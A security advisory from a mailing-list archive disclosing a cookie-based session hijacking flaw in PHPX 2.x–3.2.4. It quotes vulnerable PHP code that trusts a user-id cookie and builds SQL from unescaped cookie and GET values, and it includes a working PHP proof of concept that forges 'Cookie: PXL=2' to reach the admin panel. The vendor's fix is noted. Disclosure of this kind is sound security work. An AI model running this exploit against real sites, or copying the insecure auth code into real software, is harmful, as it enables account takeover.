<<< Date Index >>>     <<< Thread Index >>>

PHPX 2.x - 3.2.4




~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~
PHPX 3.2.4 (http://www.phpx.org)
~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~

Versions Affected: PHPX 2.x - 3.2.4
Type of bug: Session Hi-jacking/Admin Access (via Cookies)
Impact: Ability to steal another users account
Found-by: HelloWorld (Ryan Wray)
Vendor: Notified

Table Of Contents
=====================
1) The Program
2) The Problem
3) The Proof of Concept [PHP Code]
4) The Fix
5) Conclusion

1. The Program

"PHPX is a constantly evolving and changing Content Management System (CMS). 
PHPX is highly customizable and high powered all in one system. PHPX provides 
content management combined with the power of a portal by including in the core 
package modules such as FAQ, polls, and forums. PHPX uses 
dynamic-template-design, what this means is that you have the power to control 
what your site will look like. Themes are included, but not required. You can 
create the page however you want, and PHPX will just insert code where you want 
it. No more 3 columns if you don?t want it! Written in the powerful server 
language, PHP, and utilizing the amazingly fast and secure database MySQL, PHPX 
is a great solution for all size website communities, at the best price 
possible... free!" - Vendor's Description (http://www.phpx.org)

2. The Problem

PHPX fails to create a secure session management engine. A user can obtain a 
session by simply suppling a uid of the user in which they want to obtain the 
account from, and as long as their session is in the database, it will allow 
session hi-jacking to occur. Further-more it is concerning that the session id 
itself is generated by a simple auto increment field in the MySQL database, 
making it trivial for an attacker to steal a cookie.

The main code allowing the attacker steal a session is these 2 small sections:

phpxdir/includes/functions.inc.php
###################### CODE HERE ######################
function forumTracker(){

        if (!isset($_COOKIE[PXLF])){
            $last = time();
            $last = $this->getTime($last, 1);
            if (isset($_COOKIE[PXL])){
                $result = mysql_query("select sess_id from forums_session where 
user_id = '$_COOKIE[PXL]'");
                $count = mysql_num_rows($result);
                if ($count != 0){
                    list($cookie) = mysql_fetch_row($result);
                }
                else {
                    mysql_query("insert into forums_session (user_id, last) 
VALUES ('$_COOKIE[PXL]', '$last')");
                    $cookie = mysql_insert_id();
                }
            }
            else {
                mysql_query("insert into forums_session (user_id, last) VALUES 
('0', '$last')");
                $cookie = mysql_insert_id();
            }
            setcookie("PXLF", $cookie, time() + 315360000, '', '', $this->ssl);
        }
        else {
            list($count) = mysql_fetch_row(mysql_query("select count(sess_id) 
from forums_session where sess_id = '$_COOKIE[PXLF]'"));
            if ($count == 1){
                $time = $this->getTime(time(), 1);
                list($last, $temp) = mysql_fetch_row(mysql_query("select last, 
temp from forums_session where sess_id = '$_COOKIE[PXLF]'"));
                if ($temp < $time){
                    $timeplus = $time + 900;
                    mysql_query("update forums_session set templast = '$last', 
temp = '$timeplus' where sess_id = '$_COOKIE[PXLF]'");
                }
                $last = $this->getTime($last, 1);
                mysql_query("update forums_session set last = '$time', user_id 
= '$_COOKIE[PXL]' where sess_id = '$_COOKIE[PXLF]'");
            }
            else {
                setcookie("PXLF", '', time() - 900, '', '', $this->ssl);
            }
        }
        if (isset($_GET['topic_id'])){ mysql_query("update forums_topics set 
reads = reads + 1 where topic_id = '$_GET[topic_id]'"); }
    }
#####################  /CODE HERE #####################

AND

phpxdir/admin/includes/auth.inc.php
###################### CODE HERE ######################
if (isset($_COOKIE["PXL"])){
    $userinfo = $core->findUserInfo($_COOKIE["PXL"]);
    if ($userinfo[6] == 1){ $core->logout($userinfo, "s"); }
    if ($userinfo[5] != 1){ $core->logout($userinfo, "a"); }
}
#####################  /CODE HERE #####################

The first allows the theft of any account. The second allows only the theft of 
an admin account -  for the use of the admins panel.

3. The Proof of Concept [PHP]

The proof of concept is coded in PHP, and allows someone to gain access to the 
PHPX admin panel:
###################### CODE HERE ######################
<?php
/* Proof of concept for exploiting PHPX 3.2.4 (http://www.phpx.org) */
/* Quick hack, not really an affective tool, only useful as a demonstration */
/* Written by HelloWorld - Ryan Wray */

/* Usage: php -q exploit_file.php <host> <port> <admin_folder_location> */
function usage()
{
    echo "Usage request";
}

function bytes_left($fp)
{
    $status=socket_get_status($fp);
    if($status['unread_bytes'] > 0) { return true; }
    return false;
}
print_r($_SERVER['argv']);
if($_SERVER['argc'] != 4)
{
    exit(usage());
}

// Attempt to connect to host.
$fp=@fsockopen($_SERVER['argv'][1],$_SERVER['argv'][2]);

if(!$fp)
{
    exit('Could not connect to host: 
'.$_SERVER['argv'][1].':'.$_SERVER['argv'][2]);
}

else
{
    fputs($fp,"GET ".$_SERVER['argv'][3]."index.php HTTP/1.1\r\n");
    fputs($fp,"Host: ".$_SERVER['argv'][1]."\r\n");
    fputs($fp,"Cookie: PXL=2\r\n\r\n");
}
// Start accepting data, otherwise socket_get_status will say there are 0 
unread bytes.
echo fgets($fp,1024);
// While we can read.
while(bytes_left($fp))
{
    echo fgets($fp,1024);
}
// Close the socket.
fclose($fp);
?>
#####################  /CODE HERE #####################


3. The Fix

The vendor informs me that version 3.2.5 (latest) now has a more secure auth 
schema.

4. Conclusion

PHPX is a solid CMS besides it weak authorisation for users. It is Object 
Oriented and has some nice features, such as the option for SSL support. 
Hopefully it can correct any problems it has.

Thanks to the vendor for being quick to resond a react to the concern.

Shouts to: All who know me!

This vulneribility, advisory and proof of concept code was found/written by 
Ryan Wray (HelloWorld).